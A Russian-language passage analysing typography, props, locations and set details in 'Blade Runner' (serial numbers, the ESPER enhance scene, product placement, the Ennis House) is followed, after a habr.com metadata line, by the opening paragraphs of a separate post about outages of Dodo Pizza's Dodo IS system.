Разумеется, если ты хочешь вести бизнес на Луне, тебе понадобится что-то посложнее, чем простой наземный Интернет. Наверно, необходим [межпланетный Интернет](https://en.wikipedia.org/wiki/Interplanetary_Internet). По странному совпадению, именно над ним работали [Винт Серф](https://en.wikipedia.org/wiki/Vint_Cerf) и [НАСА](http://nasa.gov), взяв за основу [устойчивые к разрывам сети](https://en.wikipedia.org/wiki/Delay-tolerant_networking): пакеты данных должны были передаваться между космическими кораблями, когда они оказываются в радиусе действия. Если вам любопытно знать больше, то вот выступление Винта, объясняющего на TEDx в 2011 году, [почему скорость света слишком низка](https://www.youtube.com/watch?v=XTmYm3gMYOQ). (Мы простим его за [Comic Sans](https://en.wikipedia.org/wiki/Comic_Sans) на слайдах, ведь, в конце концов, именно он изобрёл то, что позволяет вам читать эту статью.)
Газету Декарда на протяжении фильма мы видим ещё пару раз. Он снова читает её, ожидая Зору в баре Snake Pit, только на развороте:
Газета за тот же день оказывается в выдвижном ящике шкафа в квартире Леона:
Но мы забегаем вперёд. Вернёмся в начало фильма: Декард сворачивает газету и покупает лапшу в уличном ресторане. Пока он поедает лапшу, к нему подходит подозрительный агент полицейского управления Лос-Анджелеса Гафф:
Гафф отводит Декарда к автомобилю. Судя по красивому значку на двери, это «Спиннер» (Spinner):
Телеэкран «Спиннера» в альбомной ориентации может показаться вам знакомым:
Этот экран ENVIRON CTR PURGE полностью идентичен тому, который мы видели в «Чужом» прямо перед взрывом *Nostromo*:
Как будто ему было недостаточно самоплагиата, Ридли Скотт украл и второй экран из своего предыдущего научно-фантастического шедевра:
Самые внимательные из вас могут его узнать, это порядок отстыковки челнока в «Чужом»:
Однако, вероятно, самым важным в «Спиннере» Гаффа является единственный в «Бегущем по лезвию» пример использования [Eurostile Bold Extended](https://typesetinthefuture.com/fontspots-eurostile/), представленный буквами *C*, *A*, *U*, *T*, *I*, *O* и *N*:
…и числом *44*:
Когда «Спиннер» поднимается вверх под дождём, мы видим за ним довольно необычный случай продакт-плейсмента:
Это действительно неоновая реклама популярного американского производителя кухонных комбайнов [Cuisinart](https://en.wikipedia.org/wiki/Cuisinart). Судя по форме основания комбайна и неоново-голубому прямоугольнику в правом нижнем углу, этот значок вполне может быть *[Cuisinart® Pro Classic™ Food Processor](https://www.cuisinart.com/share/pdf/manuals/dlc-10s.pdf)*:
[](https://www.cuisinart.com/share/pdf/manuals/dlc-10s.pdf)
Однако Cuisinart — далеко не единственная компания 1980-х, рекламировавшаяся в антураже Лос-Анджелеса 2019 года. Мы ещё раз встречаем американского авиаперевозчика [Pan Am](https://en.wikipedia.org/wiki/Pan_American_World_Airways), который в реальности уже был банкротом, не только в 2019 году, но и в *[2001 году](https://typesetinthefuture.com/2001-a-space-odyssey/)*:
Также мы встречаем бренд популярной газированной воды с сахаром [Coca-Cola](https://en.wikipedia.org/wiki/Coca-Cola):
…вечного борца с плохим запахом изо рта [Dentyne](https://en.wikipedia.org/wiki/Dentyne):
…[«инопланетного»](https://en.wikipedia.org/wiki/E.T._the_Extra-Terrestrial_(video_game)) разработчика игр [Atari](https://en.wikipedia.org/wiki/Atari):
…[часто рекламируемого в фильмах](http://watchesinmovies.info/tag/bulova/) производителя часов [Bulova](https://en.wikipedia.org/wiki/Bulova):
…бренд алкогольных напитков [Budweiser](https://en.wikipedia.org/wiki/Budweiser) (нет, [не этот](https://en.wikipedia.org/wiki/Budweiser_Budvar_Brewery)):
…и [гениальный, дерзкий, сексуальный](https://www.coty.com/brands/j-van) загадочный парфюмерный бренд [Jōvan](https://www.coty.com/brands/j-van):
Пока Декард и Гафф продолжают полёт, на экране «Спиннера» Гаффа появляется техническое сообщение. (Любопытно, что это ЭЛТ-дисплей в *портретной* ориентации — дисплей с альбомным экраном пропал.)
Поскольку мы исследуем типографику, то обязаны внимательнее присмотреться к тексту на экране:
Увидев ALT / VEL / PTCH в верхней части экрана, я сразу вспомнил свою потраченную на игры молодость и [1UP / HIGH SCORE / 2UP](https://en.wikipedia.org/wiki/File:Pacman_title_na.png). Однако расплывчатый основной текст ещё интереснее:
Мне потребовалось куча времени на вырезание, масштабирование и доработку этих изображений. Я смотрел на них, прищурившись, и у меня появилась теория о том, что же они значат. Вот моя приблизительная транскрипция («xxxx» означает «не имею ни малейшего понятия»):
```
MICROPROCESSOR BASED ELECTRONICS PROVE
OUR SYSTEM DOES WHAT NO OTHER INS
TRUMENT CAN DO- IT PRODUCES INSTANT, ON
THE SPOT RESULTS WITH xxxxx xxxx FILM,
xxxx COLOR TRANSPARENCIES FOR BACKLITE
```
```
DISPLAYS AND OVER HEAD PROJECTION, 35MM
COLOR SLIDES. 40 IMAGE CLASS MICRO
RELATED AND SEQUENTIAL IMAGES CAN BE RE
CORDED IN ORDERLY ARRAYS, ON A SINGLE
SHEET OF xxxx INSTANT PRINT FILM. THE
```
**Перевод**
Благодаря электронике на основе микропроцессоров наша система способна на то, что не умеет ни один инструмент — она создаёт мгновенные результаты при помощи плёнки xxxxx xxxx, цветных диапозитивов xxxx для дисплеев заднего стекла и надголовных проекторов, 35-миллиметровые цветные слайды. 40 связанных и упорядоченных изображений можно записывать в упорядоченных массивах на одном листе плёнки для мгновенной печати xxxx.
Похоже, этот текст описывает фотоаппарат моментальной печати/систему записи изображений в терминологии, которую можно встретить в рекламной брошюре или руководстве пользователя. (Если эту статью читают специалисты по электронике на основе микропроцессоров или по цветным диапозитивам для дисплеев заднего стекла, то ваша помощь очень пригодится.)
***Дополнение:** благодаря блестящей детективной работе Саймона Фламмокса и [Дэвида Ларджа](https://twitter.com/avidlarge) мы теперь знаем, что текст адаптирован из рекламы 1980-х Matrix Color Graphic Camera System, созданной Matrix Instruments. Дэвид нашёл рекламу в журнале [Datamation](https://en.wikipedia.org/wiki/Datamation) Vol 26 No. 1 (январь 1980 года):*
*Полный текст является урезанной комбинацией из разных кусков рекламы:*
```
MICROPROCESSOR BASED ELECTRONICS PROVI
OUR SYSTEM DOES WHAT NO OTHER INS
TRUMENT CAN DO- IT PRODUCES INSTANT, ON
THE SPOT RESULTS WITH xxxxx 8x10 FILM,
8x10 COLOR TRANSPARENCIES FOR BACKLITE
```
```
DISPLAYS AND OVER HEAD PROJECTION, 35MM
COLOR SLIDES, 60 IMAGE xxxxx MICRO
RELATED AND SEQUENTIAL IMAGES CAN BE RE
CORDED IN ORDERLY ARRAYS, ON A SINGLE
SHEET OF 8x10 INSTANT PRINT FILM. THE
```
*Два оставшихся слова «xxxxx», похоже, не соответствуют рекламе, поэтому я не буду гадать. Отличная работа, Саймон и Дэвид!*
*А, и ещё одно дополнение: кого-то удивил [шрифт](https://typesetinthefuture.com/2014/11/29/fontspots-eurostile/), выбранный Matrix Instruments для логотипа компании?*
Полёт на «Спиннере» Гаффа также знакомит нас с повторяющимся типографическим элементом фонов фильма. На протяжении фильма съёмочная группа «Бегущего по лезвию» многократно использовала фоны в разных конфигурациях, поэтому мы видим здесь горящую вывеску NUYOK…
…которая очень похожа на горящую вывеску отеля YUKON, которую мы увидим тринадцать минут спустя (этот отель является временным пристанищем репликантов Леона и Зоры):
Вскоре после этой сцены «Спиннер» приземляется на полицейской отделение Лос-Анджелеса (LAPD):
…которое оказывается задымлённой версией реального лос-анджелесского вокзала [Union Station](https://en.wikipedia.org/wiki/Union_Station_(Los_Angeles)):
Здесь капитан отдела выявления репликантов LAPD Гарри Брайант рассказывает Декарду о репликантах, которым он должен дать «отставку». Мы видим серийные номера и информацию о всех четырёх репликантах, начиная с Леона, который, как оказалось, является боевым репликантом и заряжающим атомных снарядов:
(Мне бы очень хотелось, чтобы это был шрифт [Caslon](https://en.wikipedia.org/wiki/Caslon), но несмотря на то, что всё остальное совпадает, верхняя часть шестёрки совершенно неверная. Могу только извиниться за это несоответствие.)
***Дополнение:** в комментариях многие сообщили, что шрифт сильно похож на [Cheltenham](https://www.myfonts.com/fonts/itc/cheltenham/), и я думаю, комментаторы правы.*
Далее мы видим Роя Батти, главного репликанта в «Бегущем по лезвию». Мы узнаём, что Роя обучали навыкам боя для программы обороны колонизации, и что очень крут:
За Роем следует Зора, кто-то из Tyrell Corporation решил, что отличной идеей будет переобучить её для выполнения политических убийств:
Наконец, мы видим Прис, обладающую знаниями в таких, казалось бы, несовместимых дисциплинах, как военное дело и досуг (кроме того, её изготовили в [день конца света](https://www.youtube.com/watch?v=nYndBvhz8hU)):
Поначалу кажется, что серийные номера репликантов расшифровать легко. Похоже, они имеют такой формат:
*[N6 обозначает Nexus 6][Гендер][Физическое развитие][Умственное развитие][Месяц][День][Год]*
Например, серийный номер Прис N6FAB21416 соответствует такой расшифровке:
*[N6][Female][LEV. A][LEV. B][FEB][14][2016]*
Однако при внимательном изучении выясняется, что этот серийный номер содержит типографические странности. Чтобы не запутаться, в дальнейшем я буду использовать формат [Date Field Symbol Table](http://www.unicode.org/reports/tr35/tr35-dates.html#Date_Field_Symbol_Table) из [Unicode Locale Data Markup Language](http://www.unicode.org/reports/tr35/). (Вот бы создатели «Бегущего по лезвию» воспользовались той же таблицей!)
Первая аномалия: в серийном номере используется американский формат дат (**`[Mddyy]`**), но в дате изготовления (Incept Date) — *британский* формат (**`[d MMM., y]`**). Наверно, в серийном номере было бы удобно указывать год перед месяцем, чтобы хронологически сортировать [артикулы SKU](https://en.wikipedia.org/wiki/Stock_keeping_unit)? Но даже если это и не так, такое несоответствие разочаровывает, особенно в фильме, действие которого очевидно происходит в США.
Во-вторых, почему для обозначения месяца используется одна цифра? Мы знаем, что день из одного разряда дополняется нулями, по крайней мере, судя по серийному номеру Роя. Отсутствие аналогичного дополнения нулями месяца означает, что репликант, изготовленный в октябре-декабре, будет иметь серийный номер из 11 символов, а не из 10, как его коллеги.
В-третьих (и это самое важное), часть с датой в серийном номере Леона совершенно неверна. В серийном номере указана дата 41717, однако его изготовили 41017:
Ребята, подобные детали очень важны для фильма. Несмотря на то, что в версии *Final Cut* «Бегущего по лезвию» устранено множество экранных ошибок, мне с грустью придётся сообщить, что эта типографская ошибка по-прежнему ожидает исправления.
После инструктажа по разыскиваемым репликантам Декард летит обратно в свою квартиру по ужасной лос-анджелесской погоде. Сложно узнать Лос-Анджелес ноября 2019 года из-за беспрестанного дождя в «Бегущем по лезвию», особенно учитывая то, что в реальности [в ноябре 2019 года не было ни единого дождя](https://www.wunderground.com/history/monthly/KLAX/date/2019-11). Как бы то ни было, жители города нашли способ решить проблему смога и дождя при помощи гениальных зонтов, ручки которых представляют собой [флуоресцентные лампы](https://en.wikipedia.org/wiki/Fluorescent_lamp):
Удивительно, что несмотря на постоянный дождь, Декард за весь путь домой так и не включил «дворник» лобового стекла:
Дизайн квартиры Декарда одновременно классический и угнетающий, а бетонную плитку на стене мы сразу узнаём…
…да и впечатляющий балкон с видом на город:
Как и многие другие локации фильма, квартира Декарда основана на реальной достопримечательности Лос-Анджелеса — [доме Энниса](http://ennishouse.com), спроектированного знаменитым американским архитектором [Фрэнком Ллойдом Райтом](https://en.wikipedia.org/wiki/Frank_Lloyd_Wright) и построенного в 1924 году:
Однако дом Энниса использовался не только в «Бегущем по лезвию». Вы можете его узнать как [экстерьерную локацию](https://www.youtube.com/watch?v=AN48b2bUEYw) классического низкобюджетного хоррора 1959 года [«Дом ночных призраков»](https://en.wikipedia.org/wiki/House_on_Haunted_Hill), снятого [Винсентом Прайсом](https://en.wikipedia.org/wiki/Vincent_Price)…
…или как [заброшенную усадьбу](http://buffy.wikia.com/wiki/Crawford_Street_Mansion), где [Эйнджел](https://en.wikipedia.org/wiki/Angel_(Buffy_the_Vampire_Slayer)), [Спайк](https://en.wikipedia.org/wiki/Spike_(Buffy_the_Vampire_Slayer)) и [Друзилла](https://en.wikipedia.org/wiki/Drusilla_(Buffy_the_Vampire_Slayer)) тусили с *[охотницей на вампиров Баффи](https://en.wikipedia.org/wiki/Buffy_the_Vampire_Slayer)* в эпизоде [«I Only Have Eyes For You»](https://en.wikipedia.org/wiki/I_Only_Have_Eyes_for_You_(Buffy_the_Vampire_Slayer))…
…или как различные локации из [«Чёрного дождя»](https://en.wikipedia.org/wiki/Black_Rain_(American_film)), [«Мерцающего»](https://en.wikipedia.org/wiki/The_Glimmer_Man), [«Убийц на замену»](https://en.wikipedia.org/wiki/The_Replacement_Killers), [«Часа пик»](https://en.wikipedia.org/wiki/Rush_Hour_(1998_film)), [«Тринадцатого этажа»](https://en.wikipedia.org/wiki/The_Thirteenth_Floor), [«Ракетчика»](https://en.wikipedia.org/wiki/The_Rocketeer), [«Малхолланд-драйв»](https://en.wikipedia.org/wiki/Mulholland_Drive_(film)) и [«Твин Пикс»](https://en.wikipedia.org/wiki/Twin_Peaks) ([согласно данным Википедии](https://en.wikipedia.org/wiki/Ennis_House#Use_in_film_productions))…
…и убежища злодея в [«Парне-каратисте 3»](https://en.wikipedia.org/wiki/The_Karate_Kid,_Part_III):
Однако самым знаменитым антураж квартиры Декарда стал в клипе [Рики Мартина](https://en.wikipedia.org/wiki/Ricky_Martin) [Vuelve](https://www.youtube.com/watch?v=p7QYo-9SlP0):
Давайте совершим краткую (4 мин 45 с) экскурсию в дом Энниса, пока ухоженный джентльмен поёт нам на испанском:
Рики, спасибо за это прекрасное музыкальное знакомство с [с архитектурой неомайяского стиля](https://en.wikipedia.org/wiki/Mayan_Revival_architecture).
Повторяющийся дизайн квартиры Декарда позаимствован непосредственно у дома Энниса, его основой являются 27 тысяч бетонных блоков, составляющих интерьер и внешнюю часть дома (как видно на этом плане 1969 года):
Эти бетонные блоки поистрепались за долгие годы. Многие из них залатали или восстановили, чтобы вернуть исходный геометрический узор, и это видно по современному внешнему виду здания:
Однако в «Бегущем по лезвию» на удивление мало самого дома Энниса. Единственные два кадра дома, которые мне удалось найти, это кадр с приближением «Спиннера» к жилому комплексу:
…который похож на [дорисовку](https://en.wikipedia.org/wiki/Matte_painting), наложенную поверх передней стены дома:
Второй кадр — это проезд «Спиннера» через ворота комплекса:
…которые могут показаться вам знакомым по «Дому ночных призраков»:
Остальная часть квартиры Декарда создана с нуля в павильоне звукозаписи при помощи реплик бетонных блоков в стиле майя со значительно более низкими и подавляющими потолками, чем в реальном доме.
Если вы хотите изучить квартиру Декарда подробнее, то я крайне рекомендую [Blade Runner 9732](http://www.br9732.com) [Квентина Ленгеле](https://twitter.com/Qornflex) — амбициозный проект по реалистичному 3D-воссозданию квартиры для исследования с помощью VR-систем наподобие [Oculus](https://www.oculus.com/en-us/).
После краткой встречи с Рейчел Декард остаётся один и изучает одну из её детских фотографий. На фото маленькая Рейчел сидит на крыльце стереотипного американского дома:
Оно пугающе напоминает фотографию из собственных снимков Декарда, которую мы позже видим в рамке на пианино:
Как странно! Наверняка это не окажется чем-то важным.
На крупном плане фото Рейчел как будто оживает и [что-то неуловимо напоминает](https://web.archive.org/web/20160609052129/https://www.youtube.com/watch?v=YRRBs71p7II):
Поначалу сбитый с толку этим неожиданно анимированным воспоминанием, я захотел обратиться к первоисточнику. Оказалось, что Филип Дик решил, что все фотографии в 2019 году будут голографическими, что в какой-то степени объясняет краткое появление в «Бегущем по лезвию» [анимированной GIF](https://en.wikipedia.org/wiki/GIF#Animated_GIF).
Подробно изучив фото Рейчел, Декард просматривает фотографии, взятые из комнаты Леона в отеле:
Когда снимался «Бегущий по лезвию», подобный способ добавления текста на бытовые предметы был очевидным и популярным. И любители, и профессионалы использовали для тиснения [сухой перенос](https://en.wikipedia.org/wiki/Dry_transfer) и шрифт [Letraset](https://en.wikipedia.org/wiki/Letraset):
Такие волшебные переводные картинки позволяли легко (хотя и немного неровно) накладывать текст на почти любую поверхность, и именно такой процесс дизайнеры «Бегущего по лезвию» выбрали для фотографий Леона.
Однако в этих кажущихся техническими кодах по краям фото Леона есть что-то… *странное*. Давайте присмотримся к тексту:
«HELCLN/IUM»? «VETICA MED/CLN»? Хм. Что-то это мне напоминает…
Вернёмся к фотографии Letraset, но теперь обратим внимание на верхний и нижний колонтитулы:
Действительно, знакомый текст:
```
HELCLN/IUM pt47
VETICA MED/CLN pt47
```
Если бы я не знал, что происходило на самом деле, то предположил бы, что у съёмочной группы остался использованный лист Letraset и она не захотела выбрасывать остатки.
Пока мы изучали тиснение, репликант Прис (роль которой исполняла [Дэрил Ханна](https://en.wikipedia.org/wiki/Daryl_Hannah)) пришла к зданию под названием «Bradbury», чтобы привлечь на свою сторону генетического дизайнера Tyrell Corporation Дж. Ф. Себастьяна:
Пустое жилище Дж. Ф. Себастьяна создано на основе знаменитого [Брэдбери-билдинг](https://en.wikipedia.org/wiki/Bradbury_Building) в центре Лос-Анджелеса:
Показанный в фильме красивый фасад в стиле футуристичного нуара, к сожалению, отличается от реального входа в здание:
…однако содержит пример прекрасного [Berthold Block Heavy](https://www.myfonts.com/fonts/berthold/block-be/heavy/):
[*Реальный* вход в Брэдбери-билдинг](https://en.wikipedia.org/wiki/Bradbury_Building#/media/File:Bradbury_Building4.jpg) больше похож на стиль [модерна](https://en.wikipedia.org/wiki/Art_Nouveau), и был спроектирован так давно, что шрифт, скорее всего, уникален:
Интерьер Брэдбери-билдинг — это красивый образ увядающего промышленного шика Лос-Анджелеса будущего из [кованого железа](https://en.wikipedia.org/wiki/Wrought_iron):
Вы можете увидеть эти металлоконструкции и в столь же апокалиптическом фильме [«500 дней лета»](https://en.wikipedia.org/wiki/500_Days_of_Summer), где персонаж [Джозефа Гордона-Левитта](https://en.wikipedia.org/wiki/Joseph_Gordon-Levitt) раболепствует перед [маниакальной девушкой-мечтой](https://en.wikipedia.org/wiki/Manic_Pixie_Dream_Girl), сыгранной [Зои Дешанель](https://en.wikipedia.org/wiki/Zooey_Deschanel):
Вы можете узнать их и во взявшем Оскар фильме [«Артист»](https://en.wikipedia.org/wiki/The_Artist_(film)):
Однако это не единственное, чем знаменито здание. Если до красивого здания можно доехать на автомобиле до Голливуда, то оно появится [в большом количестве фильмов и телешоу](https://en.wikipedia.org/wiki/Bradbury_Building#In_popular_culture). Именно поэтому я знаю, что когда Дж. Ф. вставляет свой ключ в прорезь, чтобы вызвать лифт Брэдбери-билдинг…
…он на самом деле засовывает руку в почтовый ящик устройства [mail chute](https://en.wikipedia.org/wiki/Mail_chute) на нижнем этаже.
Прямо напротив Брэдбери-билдинг расположен [Million Dollar Theatre](https://en.wikipedia.org/wiki/Million_Dollar_Theater), существующий в реальном Лос-Анджелесе; это настоящий театр, расположенный прямо напротив Брэдбери-билдинг:
Вот более чёткий кадр вывески театра из фильма:
Мне не удалось доказать, что в «Бегущем по лезвию» непреднамеренно прорекламировали концерт [перуанской инди-альтернативной группы *Los Mimilocos Mazacote y Orquesta*](http://www.soundclick.com/bands/default.cfm?bandID=89733), но я надеюсь, что так и было. (А ещё я надеюсь, что немного славы досталось и знаменитому мексиканскому эстрадному певцу [Хильберто Валенсуэла](https://www.youtube.com/watch?v=qmTXoZPWfFQ).)
Вернувшись в Брэдбери-билдинг, мы на короткий момент смотрим через красивую крышу здания на дирижабль, под которой находится ещё одна реклама Coca-Cola:
Этот летающий билборд рекламирует мультинациональную «Shimago-Domínguez Corporation», которая, без сомнений, продолжает традиции международного сотрудничества ради всеобщего блага в духе Weyland-Yutani Corporation (британско-японского конгломерата) из «Чужого» и Lunar Industries Ltd. (совместного американско-корейского рудокопного предприятия) из «Луны 2112».
В разных версия «Бегущего по лезвию» этот дирижабль представлен с [различной озвучкой](http://www.imdb.com/title/tt0083658/faq#.2.1.16), но если объединить их вместе, то мы получим следующее сообщение:
> A new life awaits you in the Off-World colonies. The chance to begin again in a golden land of opportunity and adventure. New climate, recreational facilities, easy advancement, great pay. Plus, a loyal trouble-free companion, given to you on arrival, absolutely free. Use your new friend as a personal body servant, or a tireless field hand. The custom tailored genetically engineered humanoid replicant, designed especially for your needs.
**Перевод**
Новая жизнь ждёт вас в космических колониях. Шанс начать заново в золотой стране возможностей и приключений. Новый климат, возможности досуга, быстрый карьерный рост, отличная зарплата. Плюс преданный и не создающий проблем напарник, которого вы получаете по прибытии совершенно бесплатно. Используйте своего нового друга как личного камердинера или неутомимого помощника в работе. Специально адаптированный генетически сконструированный гуманоид-репликант, спроектированный под ваши нужды.
Не знаю, как вам, а мне идея использования репликанта в роли «личного камердинера» или «неутомимого помощника в работе» кажется немнооого похожей на рабство. (Кроме того, из-за этого становится трудно осуждать Роя и его компанию за бунтарство.)
Эта реклама Shimago-Domínguez также пугающе похожа на рекламно-информационные ролики [Buy n Large](http://pixar.wikia.com/wiki/Buy_n_Large) из [*WALL·E*](https://en.wikipedia.org/wiki/WALL-E):
> Стало от мусора не продохнуть? Билет в космос — и в добрый путь! […] Жемчужина космического флота, «Аксиома», приглашает вас в пятилетний круиз, днем и ночью вас будут
>
> обслуживать наши роботы, а капитан с автопилотом проложат путь в море нескончаемых развлечений.
Кроме рекламы рабства и Coca-Cola дирижабль продолжает тему *WALL·E* успокаивающими и призывными банальностями, мотивирующими к миграции в космос:
С такой-то мотивацией кто откажется от завоевания нового мира?
В своей квартире Декард играет на пианино «ля», хотя [Вангелис](https://en.wikipedia.org/wiki/Vangelis) играет «ля-бемоль»:
Неудивительно, что упражнения Декарда в музыке так просты — партитура на его пианино на самом деле записана для гитары:
***Дополнение:** в комментариях пользователь с потрясающим ником Not A Walrus Today совершенно верно идентифицировал эту музыку как вторую часть [концерта для лютни в ре-мажор](https://en.wikipedia.org/wiki/Lute_concerto_in_D_major_(Vivaldi)) Вивальди.*
После беспомощной игры на пианино Декард решает, что пора подробнее изучить фотографии Леона. При этом «Бегущий по лезвию» показывает нам, вероятно, [первый пример](http://tvtropes.org/pmwiki/pmwiki.php/Main/UrExample) популярного криминального тропа — [кнопки «Улучшить изображение»](http://tvtropes.org/pmwiki/pmwiki.php/Main/EnhanceButton) на подозрительно мощной машине ESPER:
Этот неуклюже выглядящий гаджет является улучшателем фотографий с голосовым управлением, обладающим почти сверхъестественной способностью исполнять голосовые команды оператора. Когда Декард вставляет фотографию Леона в ESPER и приказывает увеличить с 224 до 176, она, как и приказано, старательно увеличивает с 197 до 334:
Декард продолжает давать ESPER команды перемещения по его размытому, расфокусированному фото. Он приказывает увеличить с 34 до 36, и машина покорно увеличивает с 197 до 334, как и приказано:
ESPER продолжает увеличивать, сфокусировавшись на зеркале на дальней стене соседней комнаты. Так как качество изображения становится всё более плохим из-за расстояния, разрешения и фундаментальных законов физики, алгоритм улучшения картинки ESPER автоматически переключается с «размытого VHS» на «высококачественную запись из банка киноматериалов»:
Декард приказывает ESPER увеличить с 34 до 46. Она неукоснительно следует приказам, увеличивая с 197 до 334:
Здесь всё становится очень смешным. Машина ESPER настолько сильно увеличивает изображение в зеркале, что мы видим *отдельные пайетки змеиной кожи на предмете одежды, висящей в шкафу на другой стороне комнаты, **за стеной, на которую мы смотрим***:
Переместившись немного влево, потом вправо, потом влево и вправо, Декард приказывает машине ESPER увеличить с 15 до 23. Верная себе, она увеличивает с 197 до 334:
В результате мы видим увеличенный снимок репликанта Зоры, которую легко узнать по большой татуировке со змеёй на лице:
Не буду врать, вся эта сцена пространственно сильно сбивает с толку. По моим наблюдениям, получившееся фото является отражением в зеркале отражения в зеркале, однако я всё равно не совсем в этом уверен.
Чтобы разобраться, я нарисовал точную карту того, как, по-моему, выглядит схема жилища, что поможет нам разобраться в происходящем:
И в самом деле, в фильме в этой сцене всё стало *так* запутанно, что я решил воссоздать весь процесс работы с ESPER, просто чтобы разобраться, насколько мы обрезаем, увеличиваем и улучшаем изображение на каждом этапе обработки фото. Вот ролик целиком
Всё верно: согласно моим расчётам, последнее фото Зоры является ***667,9-кратным увеличением*** исходной фотографии. Неудивительно, что фотография Зоры, которую Декард распечатывает на машине ESPER, немного зернистая:
Кроме того, она сделана совершенно под другим углом относительно снимка, который мы видим на последнем кадре ESPER:
Разумеется, «Бегущий по лезвию» ни в коем случае не является единственным примером обрезки, увеличения и улучшения кадров в популярных медиа. [Данкан Робсон](https://twitter.com/dunkr) создал поразительную нарезку популярных примеров из фильмов и сериалов, которая, мне кажется, стоит 1 минуты 43 секунд вашего времени:
В процессе поиска Зоры Декад совершает видеозвонок Рейчел из удобной будки VID-PHŌN в баре. ([Макрон](https://en.wikipedia.org/wiki/Macron) над буквой O означает гласный звук, благодаря которому слово звучит как «phone».):
Мы видим, что [вымышленный код города 555](https://en.wikipedia.org/wiki/555_(telephone_number)), набранный шрифтом [OCR-A](http://en.wikipedia.org/wiki/OCR-A_font), популярен и в 2019 году. (Строго говоря, в качестве вымышленных зарезервированы только номера с 555-0100 по 555-0199, однако «Бегущий по лезвию», как и многие другие фильмы, отходит от этой условности.)
Особенно любопытно здесь то, что сервис VID-PHŌN предоставляет группа компаний [Bell System](https://en.wikipedia.org/wiki/Bell_System) (на кадре выше показан её [логотип, дизайн которого был создан Солом Бассом в 1969 году](http://techchannel.att.com/play-video.cfm/2012/5/24/AT&T-Archives-Design-Saul-Bass-Bonus-Edition)). Также Bell System является владельцем сервиса видеозвонков PicturePhone, который мы замечаем в [«Космической одиссее 2001 года»](https://typesetinthefuture.com/2001-a-space-odyssey/):
Учитывая этот повторяющийся продакт-плейсмент, можно задаться вопросом, почему Bell System обладает такой монополией на видеозвонки в научно-фантастических фильмах. Оказывается, [PicturePhone был реальным, работающим сервисом видеозвонков](https://www.youtube.com/watch?v=WzdCKBZP4Jo) задолго до появления Skype и FaceTime. На самом деле, в 1964 году [два устройства Bell PicturePhone совершили первый трансконтинентальный видеозвонок](http://www.wired.com/2012/04/april-20-1964-picturephone-dials-up-first-transcontinental-video-call/), из калифорнийского «Диснейленда» на Всемирную ярмарку в Нью-Йорке, с удивительным для того времени качеством видео:
Печально думать, что несмотря на свою технологическую прогрессивность, PicturePhone в конечном итоге провалился коммерчески, [заставив при этом Bell потерять полмиллиарда долларов](https://www.youtube.com/watch?v=WzdCKBZP4Jo). Тем не менее, он превратил Bell в обязательного поставщика услуг футуристичных видеозвонков в глазах людей (а значит, и в фильмах) 60-х, 70-х и последующих десятилетий.
Звонок по PicturePhone доктора Флойда в «Космической одиссее 2001 года» стоил 1,7 доллара за 90 секунд. (Это существенно дешевле, чем 9 долларов, которые стоила минута PicturePhone на момент запуска системы.) Для сравнения, 30-секундный звонок Декарда Рейчел стоил 1,25 доллара:
Давайте проверим реалистичность этого математикой. События «Бегущего по лезвию» происходят в 2019 году. 30-секундный звонок Декарда стоит 1,25 доллара, то есть 2,50 доллара за минуту. Это намного дороже, чем 1,33 доллара за минуту — стоимость звонка доктора Флойда в 2001 году. Однако за 18 прошедших лет цена возрастала лишь на 3,5% в год, что [приблизительно соответствует инфляции](http://inflationdata.com/Inflation/Inflation_Rate/Long_Term_Inflation.asp). Поэтому нельзя сказать, что Ридли Скотт не продумывал детали.
(Ирония обеих этих сцен заключается в том, что в 2016 году, за три года до времени действия «Бегущего по лезвию», 30-секундный видеозвонок стоил ровно ноль долларов и ноль центов в минуту. Некоторые аспекты будущего очень сложно предугадать.)
Декард выслеживает Зору, после чего начинается неизбежная погоня. Зора покидает бар, они с Декардом пробегают мимо наполовину сломанной неоновой вывески [Schlitz](https://en.wikipedia.org/wiki/Joseph_Schlitz_Brewing_Company):
Она очень похожа на наполовину сломанную неоновую вывеску [Schlitz](https://en.wikipedia.org/wiki/Joseph_Schlitz_Brewing_Company), которую мы видим в другом баре, когда несколькими минутами ранее Декард покупает выпивку:
Вернувшись в Bradbury, мы видим, что Дж. Ф. Себастьян играет в шахматы с главой Tyrell Corporation доктором Элдоном Тайреллом:
Рой Батти считает, что игра в шахматы — его шанс встретиться со своим создателем. Когда Батти приходит с Дж. Ф. в спальню, мы видим, что на доске Тайрелла стоят столь же искусные фигуры, только на этот раз это статуэтки людей:
Городская легенда говорит нам, что эта игра основана на партии с подходящим названием [«бессмертная»](https://en.wikipedia.org/wiki/Immortal_Game), в которой [Адольф Андерсен](https://en.wikipedia.org/wiki/Adolf_Anderssen) победил [Лионеля Кизерицкого](https://en.wikipedia.org/wiki/Lionel_Kieseritzky) в 1851 году. После тщательного изучения досок и диалога Дж. Ф. и Тайрелла я могу подтвердить, что это действительно так. Вот как игрались последние ходы партии:
Бессмертная партия примечательна тем, что Андерсен победил Кизерицкого несмотря на то, что пожертвовал слоном, обеими ладьями и ферзём. К тому времени, как Батти встретился с Тайреллом, он уже пожертвовал Леоном, Зорой и двумя другими репликантами в своём стремлении найти своего создателя.
Батти убивает Дж. Ф. и Тайрелла, а затем отправляется к Bradbury для неизбежной последней схватки с Декардом. Когда фильм двигается к своей кульминации, Батти произносит свой знаменитый монолог [«Слёзы в дожде»](https://en.wikipedia.org/wiki/Tears_in_rain_monologue). Эта речь, импровизированная [Рутгером Хауэром](https://en.wikipedia.org/wiki/Rutger_Hauer) во время съёмок сцены, считается одним из самых трогательных монологов о смерти в истории кино. Однако, поскольку она целиком составлена из произносимых слов, с типографической точки зрения она не представляет интереса.
Монолог потрясающе контрастирует с неоновым логотипом [TDK](https://en.wikipedia.org/wiki/TDK) прямо над плечом Рутгера, что, по-моему, чертовски зрелищно:
 | https://habr.com/ru/post/659153/ | null | ru | null |
# День, когда Dodo IS остановилась. Синхронный сценарий
Dodo IS — глобальная система, которая помогает эффективно управлять бизнесом в Додо Пицце. Она закрывает вопросы по заказу пиццы, помогает франчайзи следить за бизнесом, улучшает эффективность сотрудников и иногда падает. Последнее — самое страшное для нас. Каждая минута таких падений приводит к потерям прибыли, недовольству пользователей и бессонным ночам разработчиков.
Но теперь мы спим лучше. Мы научились распознавать сценарии системного апокалипсиса и обрабатывать их. Ниже расскажу, как мы обеспечиваем стабильность системы.
> **Цикл статей про крушение системы Dodo IS\***:
>
> 1. [День, когда Dodo IS остановилась. Синхронный сценарий.](https://habr.com/ru/company/dodopizzaio/blog/440676/)
>
